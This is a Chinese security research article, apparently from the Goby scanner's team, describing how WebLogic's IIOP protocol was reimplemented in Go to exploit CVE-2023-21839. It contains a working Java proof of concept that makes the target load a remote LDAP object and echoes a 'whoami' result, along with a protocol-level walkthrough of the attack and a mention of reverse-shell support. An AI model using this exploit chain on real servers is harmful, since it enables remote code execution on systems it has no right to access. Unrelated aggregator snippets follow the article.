跨越语言的艺术:Weblogic序列化漏洞与IIOP协议

在这里插入图片描述

0x01 概述

Weblogic 的序列化漏洞主要依赖于 T3 和 IIOP 协议,这两种协议在通信交互的过程中存在如跨语言、网络传输等方面的诸多问题,会给漏洞的检测和利用带来许多不便。在白帽汇安全研究院的理念中,漏洞检测和利用是一项需要创造性的工作,应该以最简洁,高效的方式实现,这样才能确保漏洞的跨平台和实用性。因此,我们通过跨语言方式实现 IIOP 协议通信,以解决出现的序列化漏洞问题。

在 Goby 中的 CVE-2023-21839 漏洞中,我们成功的实现了IIOP 协议跨语言通信的方案,完美实现了漏洞的检测与漏洞利用效果:

在这里插入图片描述

0x02 Weblogic IIOP

GIOP 是一种 CORBA 规范定义的协议,用于在分布式对象之间进行通信和交互,定义了对象请求、响应、异常、命名等基本的通信模式和协议规范。简单来说,GIOP 就是一个抽象的协议标准,定义了通信模式和协议规范等信息,并不是具体实现的协议。

IIOP 是一种实现了 GIOP协议的 TCP/IP 协议栈,它使得CORBA对象能够通过Internet进行分布式通信和交互。简单来说,IIOP协议是在TCP/IP层面上实现的GIOP协议。

RMI-IIOP 是一种Java远程方法调用协议的实现方式,它在 IIOP 协议之上扩展了Java RMI 协议,使得 Java 对象可以通过 IIOP 协议进行分布式通信和交互。简单来说, RMI-IIOP 协议就是在 IIOP 协议的基础上集合了 RMI 的远程调用 Java 对象的功能。(在本文中的 Weblogic 部分会将 RMI-IIOP 作为 IIOP 协议来看待)

在文章《 Weblogic IIOP 协议NAT 网络绕过》中提到 “T3 协议本质上 RMI 中传输数据使用的协议, RMI-IIOP 是可以兼容 RMI 和 IIOP 的,所以在 Weblogic 中只要可以通过 T3 序列化恶意代码的都可以通过 IIOP 协议进行序列化”。对于启用了 IIOP 和 T3 的 Weblogic 而言,序列化数据协议传输的过程中是没有本质上区别的,同时在 Weblogic 通信过程中可能会出现 NET 网络问题。因此,为了解决 Java 序列化跨语言问题以及 IIOP 的网络问题,我选择了 IIOP 协议作为此次 Weblogic 序列化协议研究的重点。

0x03 IIOP 攻击流程

在这里插入图片描述

以 CVE-2023-21839 Weblogic 序列化漏洞为例,在 Weblogic 的 IIOP 攻击流程中,攻击端首先初始化上下文信息,使用rebind()方法向注册端绑定恶意对象,再通过 lookup() 方法触发漏洞远程加载恶意地址中的存根对象。在加载的过程中,自定义的恶意对象执行自绑定的操作,将一个具有回显的对象绑定到 Weblogic 注册端上,之后远程调用该对象中的方法,达到攻击回显的目的。

POC 如下:

public class main {public static void main(String[] args) throws NamingException, RemoteException {ForeignOpaqueReference foreignOpaqueReference = new ForeignOpaqueReference("ldap://xxx.xxx.xxx.xxx:1389/exp", null);String iiop_addr = "iiop://10.211.55.4:7001";Hashtable<String, String> env = new Hashtable<String, String>();env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");env.put("java.naming.provider.url", iiop_addr);Context context = new InitialContext(env);    // 初始化上下文,建立交互连接 LocateRequest LocateReplyString bind_name = String.valueOf(System.currentTimeMillis()); context.rebind(bind_name, foreignOpaqueReference);  // 绑定远程对象 rebind_anycontext.lookup(bind_name);  // 获取远程对象 resove_anyClusterMasterRemote clusterMasterRemote = (ClusterMasterRemote)context.lookup(bind_name);System.out.println(clusterMasterRemote.getServerLocation("whoami"));}}

3.1 Java 中的攻击流程

在这里插入图片描述

1、在 Weblogic 的 IIOP 序列化交互开始时,客户端初始化上下文信息 new InitialContext() ,通过 locateNameService() 方法将目标地址、序列化对象等信息封装到IIOP协议的请求包中作为 LocateRequest 消息与Weblogic服务端建立通信。

在这里插入图片描述

2、当客户端收到服务端的LocateReply消息后表示通信交互已建立,客户端会解析响应消息体中的信息,并将其中的相关信息(如 Key Address ,内部类地址、上下文等信息)解析作为下次请求的消息体验证信息。
在这里插入图片描述

3、通信建立后, IIOP 会将建立交互时服务端响应包中的 Key Address 作为下次请求中的 Key Address,执行 bind()rebind() 方法时,绑定对象名称、对象的序列化数据等信息会封装到请求消息体中的 Stub data 字段中作为消息传输。

在这里插入图片描述
在这里插入图片描述

4、 IIOP 协议执行lookup()方法时,首先通过创建的上下文对象调用其中的lookup()方法,lookup()方法根据上下文中是否为NamingContextAny类型来决定调用的lookup()方法,由于上下文对象属于NamingContextAny类型,因此通过Utils.stringToWNameComponent(var1) 方法将字符串 var1 转换成 WNameComponent(Wide Name Component)数组,并将其传递给 this.lookup() 方法,最后通过调用resolve_any()方法将消息封装成序列化字节流发送给服务端。

0x04 IIOP 跨语言实现

在《 IIOP 攻击流程》章节的交互部分中,当 weblogic 在内网环境下,客户端会将 LocateReply 中返回的 weblogic 内部类的内网地址作为下次发包的目标地址,因此会出现客户端向自己的内部地址发包,出现网络通信中断问题。同时,由于 Go 语言中并没有官方的 IIOP 协议库可用,我们在 Goby 安全工具上实现漏洞攻击是比较困难的。如果外挂 java 程序的话会使Goby越来越臃肿,这并不符合白帽汇安全研究院的漏洞价值观。我们认为漏洞是一门艺术,漏洞检测和利用的方式应该以最优雅的形式出现。针对上面的问题,我们索性直接复刻 IIOP 协议作为最终的通用解决方案。

4.1 实现思路

协议通信的本质是字节流的形式在网络中传输数据。因此, Go 实现 IIOP 协议的方式就是模拟 IIOP 通信的字节流。

对于上文中的攻击流程,我们将攻击过程中 IIOP 协议通信分为建立交互、绑定远程对象、获取远程对象,执行对象方法四个部分。对应在 Java 主要通过一下方法完成:

Context context = new InitialContext(env);    // 初始化上下文,建立交互连接 LocateRequest消息 LocateReply消息
context.rebind(bind_name, foreignOpaqueReference);  // 绑定远程对象 Request消息 rebind_any方法
context.lookup(bind_name);  // 绑定远程对象 Request消息 lookup方法
context.lookup(bind_name).getServerLocation("whoami")// 执行远程对象中的方法

我们在 IIOP 协议模拟实现时仅需要实现上述方法在执行过程中协议交互的字节流即可。

4.2 GIOP 协议规范

GIOP(General Inter-ORB Protocol)是一种 CORBA 规范定义的协议,用于在分布式对象之间进行通信和交互,定义了对象请求、响应、异常、命名等基本的通信模式和协议规范。

在这里插入图片描述

GIOP 消息由消息头和消息体两部分组成。

在 GIOP 消息头中包括了 Magic (GIOP标识)、Version(GIOP版本)、Message Flags(标志位)、Message type(消息类型)、Message size(消息体长度)四个字段;

在GIOP消息体中,主要包含了Request id(请求标识)、TargetAddress(请求目标对象键 ID )、Key Address(Key 地址)、Reqest operation(操作方法)、SerivceContext(服务上下文信息)等字段。

由于篇幅有限,这里并不过多叙述 GIOP 字段的含义,如想深入研究协议内容,请参考我们总结的手册《GIOP-Protocol-Analysis》。

4.2.1 GIOP 协议通信流程

1、在通信的初始阶段,首先客户端向服务端发送 LocateRequest 类型的消息与服务端建立通信,服务端验证请求信息并响应LocateReply 类型的消息表示收到了客户端的请求信息,开始与客户端进行交互通信。

2、通信建立完成后,客户端发送一个 Request 类型的消息来执行服务端中的方法,Request 消息的请求体中包含了key地址(Key Address)、执行方法名称(Request operation)、消息上下文(Service Context)和调用远程对象信息(Stub data)等内容。

3、服务端接收并正常解析请求报文后,回应一个 Reply 类型的 No Exception 消息。如果请求报文在服务端中解析出错/异常,则回应一个 Reply 类型的User Exception / System Exception 消息,同时响应体中会附带异常ID(Exception id)信息。

4.3 初始化上下文

Context context = new InitialContext(env);    // 初始化上下文,建立交互连接 LocateRequest消息 LocateReply消息

在 Java 代码中,初始化上下文信息在创建对象的过程中建立IIOP协议的交互流程。因此,在 Go 语言中实现new InitialContext(env)创建对象时生成的字节流并发送给Weblogic即可。new InitialContext(env)对象的创建过程在IIOP协议具体实现中为LocateRequest消息。

在这里插入图片描述

客户端发送的 LocateRequest 消息是一个固定的格式。其中包含了 GIOP 协议标识,协议版本,消息类型、消息标识等信息。

在这里插入图片描述

由于 LocateRequest 是一个固定格式的序列,所以可以直接将该序列发送给服务端,开始建立交互连接。

在这里插入图片描述

服务端在收到 LocateRequest 消息并验证正确后,会向客户端响应一个 LocateReply 消息。 响应的 LocateReply 消息包含了有关服务器的上下文信息、key地址、长度等信息。

在这里插入图片描述

在交互建立完成后,下次请求通信过程中会用到响应体中的 key 地址,需要将key地址解析出来,以便于下次请求包中使用。因此,需要先将Key Address length 的长度提取出来,再根据 Key 的长度计算出Key Address,并将 key 地址存储起来,以便下次请求使用。同时,因为我们下次发包的目标地址是自主可控的,这就从根源上避免了上面出现的NET网络问题。这样,通信就已经正常建立了。
在这里插入图片描述

在通信建立之后,为了验证服务端返回的 Key Address 的有效性,我们向服务端发送了一个方法名为 _non_existentRequest 请求消息。如果服务端返回的状态为 No Exception,则说明该 Key Addresss 是有效的。

4.4 绑定远程对象

context.rebind(bind_name, foreignOpaqueReference);  // 绑定远程对象 Request消息 rebind_any方法

在 Java 语言中,使用 rebind() 方法可以将一个对象绑定到 Weblogic 注册中心上。在 Go 语言中,我们可以实现 context.rebind() 方法的字节流,将要绑定的名称和序列化对象添加到字节流中,然后发送给 Weblogic。

在 IIOP 协议的具体实现中,rebind() 方法的操作方法名为 rebind_any
在这里插入图片描述

通过 rebind_any 方法,将 Stub data 中的绑定名称以及序列化对象等数据发送给服务端,服务端执行重绑定操作,将对象绑定到Weblogic Register上。

在这里插入图片描述

Go 模拟 rebind_any 方法的核心将生成的 payload 字节流增加到请求体的尾部 Stub data 部分。

4.5 获取远程对象

context.lookup(bind_name);  // 绑定远程对象 Request消息 lookup方法

在 Java 代码中,通过上下文对象中的 lookup() 方法可以获取 Weblogic 中绑定名称的存根对象。同样,在 Go 语言中,我们可以实现 context.rebind() 方法的字节流,并将要绑定的名称添加到该字节流中,然后将其发送给 Weblogic。

在 IIOP 协议的具体实现中,lookup() 方法的操作方法名为 resolve_any

在这里插入图片描述

resolve_any 方法通过发送注册命名信息获取注册中心上的存根对象。这里的 Go 字节码实现和上面的相似,都是将信息放到 Stub data 中发送给服务端,只不过这里存放的是存根的命名信息。

在这里插入图片描述

resolve_any 的响应消息会生成一个新的 Key Address,该key包含获取远程对象的引用地址等信息,在执行这个对象中的方法时,要将新请求消息中的 Key Address 替换成该信息。这样就可以正常执行该对象中的方法了。

4.6 执行对象方法

context.lookup(bind_name).getServerLocation("whoami");  // 获取远程对象,执行对象中的getServerLocation方法进行回显

执行 lookup 方法后,我们获取到了远程对象的存根信息,这时就可以调用对象中的方法来实现远程方法调用的目的。

在这里插入图片描述

例如,我们在 CVE-2023-21839 漏洞上绑定了回显类并有名为 getServerLocation()的回显方法。在 Go 语言中,我们只需要按照 GIOP 字节流的格式实现字节流,并将字段 Request operation 的值设置为我们要执行的方法名,Operation length 设置为方法名的长度,Stub data 中设置为执行方法的字节流,最后封装成 GIOP 字节流发送给 Weblogic 即可。具体的的漏洞回显效果,正如下图所示:

在这里插入图片描述

0x05 总结

在白帽汇安全研究院,漏洞检测和利用是一项创造性的工作,我们致力于以最简洁,高效的方式来实现。为了在 Goby 中实现 Weblogic 序列化漏洞的最佳效果和利用方式,我们花费大量精力阅读 IIOP 序列化源码、分析协议流量、调试协议中的字段和字节码。最终,我们成功在 Go 语言中实现了 IIOP 协议漏洞利用框架。为了验证框架的可靠性,我们以 Weblogic 反序列化漏洞(CVE-2023-21839)为例,在 Goby 上实现了完美的漏洞攻击效果,并加入了一键回显、一键反弹 shell 的利用方式。

本文中演示的漏洞与功能将于 4 月 18 号(下周二)在Goby上线,届时请关注 Goby 版本更新通知或微信社群公告。

Goby社区版免费下载体验:https://gobysec.net/

0x06 参考

ChatGPT (openai.com)

Java CORBA (seebug.org)

RMI-IIOP Programmer’s Guide (oracle.com)

Tutorial: Getting Started Using RMI-IIOP (oracle.com)

Configuring WebLogic Server for RMI-IIOP (oracle.com)

Servers: Protocols: IIOP (oracle.com)

Weblogic IIOP 协议NAT 网络绕过 | R4v3zn’s Blog(r4v3zn.com)

漫谈 WebLogic CVE-2020-2551 | R4v3zn’s Blog(r4v3zn.com)

Weblogic CVE-2020-2551 绕过NAT网络分析 - 先知社区 (aliyun.com)

【协议森林】详解大端(big endian)与小端(little endian)_协议森林的博客(csdn.net)

基于RapidIO的GIOP协议——RIO-IOP - 中国知网 (cnki.net)

Goby 欢迎表哥/表姐们加入我们的社区大家庭,一起交流技术、生活趣事、奇闻八卦,结交无数白帽好友。

也欢迎投稿到 Goby(Goby 介绍/扫描/口令爆破/漏洞利用/插件开发/ PoC 编写/ IP 库使用场景/ Webshell /漏洞分析 等文章均可),审核通过后可奖励 Goby 红队版,快来加入微信群体验吧~~~

文章来自Goby社区成员:14m3ta7k@白帽汇安全研究院,转载请注明出处。

  • 微信群:公众号发暗号“加群”,参与积分商城、抽奖等众多有趣的活动
  • 获取版本:https://gobysec.net/sale

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/71110.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

chatgpt赋能python:Python波动方程介绍:掌握物理模型与实际应用

Python波动方程介绍&#xff1a;掌握物理模型与实际应用 在物理学中&#xff0c;波动方程是一种描述波动现象的数学模型。而在工程学中&#xff0c;波动方程也被广泛应用于声波、电磁波和弹性波等领域。Python是一种高效且易于学习的编程语言&#xff0c;因此被广泛用于模拟和…

【uniapp】实现买定离手小游戏

前言 最近玩了一个小游戏&#xff0c;感觉挺有意思&#xff0c;打算放进我的小程序【自动化小助手】里面&#xff0c;“三张押一张&#xff0c;专押花姑娘&#xff01;”&#xff0c;从三张卡牌&#xff0c;挑选一张&#xff0c;中奖后将奖励进行发放&#xff0c;并且创建下一…

如何写出高质量代码:特征、编程实践技巧和软件工程方法论

一、 前言 在当今的软件开发行业中&#xff0c;写出高质量代码是每个开发者都应该追求的目标。高质量代码不仅能提升我们自身的编程水平和工作效率&#xff0c;还能减少代码维护和管理的难度&#xff0c;为项目的长期发展奠定坚实的基础。然而&#xff0c;要写出高质量代码并不…

国考省考行测:细节理解,对错判断,要素查找,问什么,找什么,对比分析

国考省考行测&#xff1a;细节理解&#xff0c;对错判断&#xff0c;要素查找&#xff0c;问什么&#xff0c;找什么&#xff0c;对比分析 2022找工作是学历、能力和运气的超强结合体! 公务员特招重点就是专业技能&#xff0c;附带行测和申论&#xff0c;而常规国考省考最重要…

想去银行测试?那这套题目你必须要会

一、根据题目要求写出具体LINUX操作命令 1、分别写出一种查看主机IP地址、CPU使用率、内存使用率的命令。 ifconfig top 2、进入/wls/applogs目录&#xff0c;显示该目录下所有文件详细信息&#xff0c;并按照文件变更时间排序 cd /wls/applogs ls -lt 3、在后台运行目录下…

【银行测试】必看的四类题型:这可是最经典的一套题目了

目录&#xff1a;导读 一、根据题目要求写出具体LINUX操作命令 二、JMETER题目 三、根据题目要求写出具体SQL语句 四、测试案例设计题 金三银四面试面对大厂面试官提问&#xff0c;如何回答&#xff1a;花3天背完这100道软件测试面试题&#xff01;银行测试的offer还不是手…

政考网:公务员考试拿不到高分,因为你的刷题姿势不对

众所周知&#xff0c;公务员考试竞争是十分激烈的&#xff0c;如果你想成功上岸&#xff0c;首先就要拿到一个比较优秀的笔试分值&#xff0c;这样你才有进行到面试的资格。但是又有很多同学经常说&#xff0c;自己也付出了不少的努力&#xff0c;为什么却拿不到高分呢。关于这…

国外国内都躲不过的面试题,到底怎么答才得分?

大家都知道的是算法面试占比高&#xff0c;可现在系统设计面试也避无可避&#xff01; 有人问&#xff1a;不是SDE2才问系统设计&#xff0c;SDE1只考察OOD吗&#xff1f; 往年也许如此&#xff0c;但今年面试的小伙伴反馈&#xff1a;亚麻分别在三、四轮里出现OOD和系统设计…

长见识!居然还有程序员考公指南这种东西?

整理 | 王晓曼 出品 | 程序人生 &#xff08;ID&#xff1a;coder _life&#xff09; 最近&#xff0c;拼多多事件的发酵再次把互联网打工人的996推到了风口浪尖。 虽然并不是每一个猝死事件都能与“过劳”建立直接联系&#xff0c;但互联网行业超负荷加班处理Bug是家常便饭&am…

考研复试之考前准备(上)

文章目录 1. 写在前面的话2. 如何准备复试2.1 和同专业的师兄师姐沟通(跨校)2.2 和目标导师联系1. 写在前面的话 今年的考研初试刚结束,有人欢喜有人忧。欢喜者可能因为初试顺利而沾沾自喜,忧愁者往往因为初试不佳而沮丧失望,导致最终的结果是一致的,那就是迟迟没有进入到复…

【深圳大学】考研初试复试资料分享

给同学们送福利啦~ 提供给同学们计算机/软件工程等相关专业的各种学校的初试复试资料集合。 资料一般包含初试真题&#xff0c;往年学长学姐考研经验&#xff0c;通知&#xff0c;复试资料等等。 这次分享的是 深圳大学 的考研资料~ https://pan.baidu.com/s/10jSyL32Gh-C_5Wf4…

微信机器人终端1.0未来的设想就是做成telegram一样强大的机器人群体集控终端

Bot console 是本人最近研发的一款项目&#xff0c;目前存放在github中 Bot console未来的设想就是做成telegram一样强大的机器人群体集控终端 在自定义机器人和脚本这块可以说是自由度非常高&#xff0c;当然对编程技术也有一定要求&#xff0c;有兴趣的可以一起开发和讨论&am…

如何用GPT轻松搞定一篇毕业论文。

大家好&#xff0c;我是五竹。心血来潮整理了一份手册&#xff1a;《ChatGPT学习指南》并且将为小白们持续更新和GPT相关的资源和教程&#xff0c;专注于打造一部最好的GPT入门指南&#xff0c;欢迎大家转发、收藏、点赞支持&#xff01;谨防失联&#xff01; 下面&#xff0c…

chatgpt赋能python:Python搜索引擎优化:如何搜索网站内容

Python 搜索引擎优化&#xff1a;如何搜索网站内容 随着数字化时代的到来&#xff0c;人们越来越依赖搜索引擎来获取他们所需的信息。当人们在搜索引擎上搜索内容时&#xff0c;他们希望看到相关、有用的信息。这意味着SEO&#xff08;搜索引擎优化&#xff09;已经成为了一个…

类ChatGPT模型ChatGLM-b6本地部署实践

国外ChatGPT火爆持续&#xff0c;前一段时间百度发布“文心一言”还没有全面放开测试&#xff0c;这不阿里“通义千问”又悄然而至&#xff0c;国内大模型AI产品渐渐浮出水面。早在2022年8月份时候清华大学的对话语言模型ChatGLM-6B就发布并开源&#xff0c;本文简要介绍ChatGL…

chatgpt赋能python:Python如何绑定登陆和主界面

Python如何绑定登陆和主界面 Python是一种开发Web应用程序的强大语言&#xff0c;被广泛运用于网站开发和应用程序开发&#xff0c;其可扩展性和丰富的开发库使得Python成为了Web开发的首选语言之一。在Web开发中&#xff0c;绑定登陆和主界面是一个非常重要的步骤&#xff0c…

北京内推 | 百度搜索策略部招聘NLP方向算法实习生(校招同步招收)

合适的工作难找&#xff1f;最新的招聘信息也不知道&#xff1f; AI 求职为大家精选人工智能领域最新鲜的招聘信息&#xff0c;助你先人一步投递&#xff0c;快人一步入职&#xff01; 百度 【百度核心部门——搜索策略部】搜索&#xff0c;二十余年百度的发展根基&#xff1b;…

科研实习 | 新加坡国立大学尤洋老师课题组招收Data-centric AI科研实习生

合适的工作难找&#xff1f;最新的招聘信息也不知道&#xff1f; AI 求职为大家精选人工智能领域最新鲜的招聘信息&#xff0c;助你先人一步投递&#xff0c;快人一步入职&#xff01; 新加坡国立大学 新加坡国立大学&#xff08;National University of Singapore)&#xff0c…

北京内推 | 微软亚洲研究院数据知识智能组招聘大模型研究实习生

合适的工作难找&#xff1f;最新的招聘信息也不知道&#xff1f; AI 求职为大家精选人工智能领域最新鲜的招聘信息&#xff0c;助你先人一步投递&#xff0c;快人一步入职&#xff01; 微软亚洲研究院 与MSRA Data Knowledge Intelligence组的科学家一起探索前沿最先进大模型&a…

错别字检查软件与人工校对:如何兼顾准确性和效率?

错别字检查软件和人工校对各有优劣&#xff0c;在兼顾准确性和效率方面需要结合实际情况进行选择和应用。以下是一些建议&#xff1a; 1.利用错别字检查软件&#xff1a;错别字检查软件可以帮助我们快速检测和纠正拼写错误&#xff0c;从而提高效率。在一些重复性工作和大规模数…